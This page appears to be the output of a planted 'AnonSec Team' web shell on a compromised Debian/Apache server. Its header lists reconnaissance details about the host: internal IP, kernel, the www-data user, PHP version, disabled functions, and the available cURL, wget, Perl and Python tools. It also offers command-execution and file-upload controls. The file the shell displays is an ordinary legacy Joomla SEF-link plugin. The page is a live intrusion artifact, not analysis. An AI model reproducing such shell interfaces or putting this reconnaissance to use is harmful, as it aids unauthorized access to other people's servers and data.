AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.59
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/dialektologia/web/mambots/content/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/dialektologia/web/mambots/content/mossef.php
<?php
/**
* @version $Id: mossef.php 4861 2006-08-31 13:55:47Z predator $
* @package Joomla
* @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// no direct access
defined( '_VALID_MOS' ) or die( 'Restricted access' );

$_MAMBOTS->registerFunction( 'onPrepareContent', 'botMosSef' );

/**
* Converting internal relative links to SEF URLs
*
* <b>Usage:</b>
* <code><a href="...relative link..."></code>
*/
function botMosSef( $published, &$row, &$params, $page=0 ) {
	global $mosConfig_sef;
	
	// check whether mambot has been unpublished
	if ( !$published ) {
		return true;
	}
	
	// check whether SEF is off
	if ( !$mosConfig_sef ) {
		return true;
	}
	
	// simple performance check to determine whether bot should process further
	if ( strpos( $row->text, 'href="' ) === false ) {
		return true;
	}
	
	// define the regular expression for the bot
	$regex = "#href=\"(.*?)\"#s";

	// perform the replacement
	$row->text = preg_replace_callback( $regex, 'botMosSef_replacer', $row->text );

	return true;
}

/**
* Replaces the matched tags
* @param array An array of matches (see preg_match_all)
* @return string
*/
function botMosSef_replacer( &$matches ) {
	// original text that might be replaced
	$original = 'href="'. $matches[1] .'"';

	// array list of non http/https	URL schemes
	$url_schemes = explode( ', ', _URL_SCHEMES );
	
	foreach ( $url_schemes as $url ) {
		// disable bot from being applied to specific URL Scheme tag
		if ( strpos( $matches[1], $url ) !== false ) {
			return $original;
		}
	}

	if ( strpos( $matches[1], 'index.php?option' ) !== false  ) {
	// links containing 'index.php?option
		// convert url to SEF link
		$link 		= sefRelToAbs( $matches[1] );
		// reconstruct html output
		$replace 	= 'href="'. $link .'"';
		
		return $replace;
	} else if ( strpos( $matches[1], '#' ) === 0 ) {
	// special handling for anchor only links
		$url = $_SERVER['REQUEST_URI'];
		$url = explode( '?option', $url );
		
		if (is_array($url) && isset($url[1])) {
			$link = 'index.php?option'. $url[1] ;
			// convert url to SEF link
			$link 		= sefRelToAbs( $link ) . $matches[1];
		} else {
			$link = $matches[1];
			// convert url to SEF link
			$link 		= sefRelToAbs( $link );
		}
		// reconstruct html output
		$replace 	= 'href="'. $link .'"';
		
		return $replace;
	} else {
		return $original;
	}
}
?>
	

AnonSec - 2021